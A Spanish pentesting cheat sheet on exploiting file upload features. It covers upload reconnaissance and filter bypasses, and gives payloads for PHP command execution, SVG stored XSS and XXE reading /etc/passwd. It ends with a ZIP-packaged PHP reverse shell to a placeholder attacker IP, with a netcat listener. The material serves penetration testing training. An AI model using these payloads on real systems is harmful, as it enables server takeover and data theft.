# File upload

## General

1\) Realizar carga de archivo e identificar:

* Lugar de almacenamiento o ubicación donde es utilizado el archivo.
  * Fuzzing de directorios.
  * Forzar mensajes de error.
    * Cargando un archivo con un nombre existente.
    * Enviar dos solicitudes idénticas simultáneamente.
    * Cargar un archivo con un nombre demasiado largo, por ejemplo de 5000 caracteres.
* Nombre con el cual es guardado el archivo.

2\) Identificar la tecnología utilizada.

3\) Comprobar la ejecución de comandos.

```php
# PHP
<?php echo "test"; ?>
<?php system("hostname"); ?>
<?php echo file_get_contents("/etc/passwd"); ?>
```

4\) Subida de web shells y reverse shells.

* [Web shells](https://pentesting.mrw0l05zyn.cl/explotacion/shells/general#web-shells)
* [Reverse shells](https://pentesting.mrw0l05zyn.cl/explotacion/shells/general#reverse-shells)

## Bypass de filtros

### Validación del lado del cliente

Utilizar funcionalidad de "anulaciones locales" de las "herramientas para desarrolladores" del navegador.

### Validación de extensiones con lista negra (blacklist) y blanca (whitelist)

Identificar extensiones permitidas realizando fuzzing.&#x20;

Listas de extensiones web comunes:

* [SecLists](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt)
* [Payloads All The Things](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files)
* Burp Suite -> Intruder -> Payload options -> Extensions list

#### Doble extensión

Si `.jpg` es una extensión permitida se agrega al final del nombre del archivo seguido por la extensión del archivo a ejecutar, por ejemplo: `shell.jpg.php`.

#### Doble extensión inversa

Si `.jpg` es una extensión permitida se mantiene al final del nombre del archivo y se antepone a esta la extensión del archivo a ejecutar, por ejemplo: `shell.php.jpg`.

#### Caracteres especiales

* [Special character generator](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/file-upload/specialCharacterGenerator.sh)

```
%20 
%0a
%00
%0d0a
/
.\
.
…
:
```

### Validación de tipo de contenido (Content-Type)

Identificar los tipos de contenido (`Content-Type`) permitidos realizando fuzzing.&#x20;

Listas de tipos de contenido (`Content-Type`) web:

* [SecLists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt)

### Validación de MIME-Type

Identificar los MIME-Type permitidos realizando fuzzing.

Listas de MIME-Type de archivos:

* [Wikipedia](https://en.wikipedia.org/wiki/List_of_file_signatures)

## Desde file upload a otras vulnerabilidades

### SVG

#### Cross-site scripting (XSS)

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert("Stored (Persistent) XSS");</script>
</svg>
```

#### XML external entity (XXE)

Lectura de archivo general.

```xml
# Linux/Unix
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<svg>&xxe;</svg>

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="128px" height="128px">
<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

# Windows
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM 'file:///C:/Windows/win.ini'>]>
<svg>&xxe;</svg>
```

Lectura de archivo PHP.

```xml
<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=<file>">]>
<svg>&xxe;</svg>
```

### ZIP

#### Reverse shell

Creación de reverse shell.

{% code title="reverseshell.php" %}

```php
<?php system("bash -c 'bash -i >& /dev/tcp/<attacker-IP-address>/<listen-port> 0>&1'"); ?>
```

{% endcode %}

Generación de archivo `.zip` con reverse shell.

```bash
zip reverseshell.zip reverseshell.php
```

Ejecución de Netcat en máquina atacante en modo escucha.

```sh
nc -lvnp <listen-port>
```

Subir el archivo `reverseshell.zip` al servidor web objetivo, revisar si el archivo es descomprimido y ejecutar la reverse shell.

```sh
curl http://<target>/reverseshell.php
```
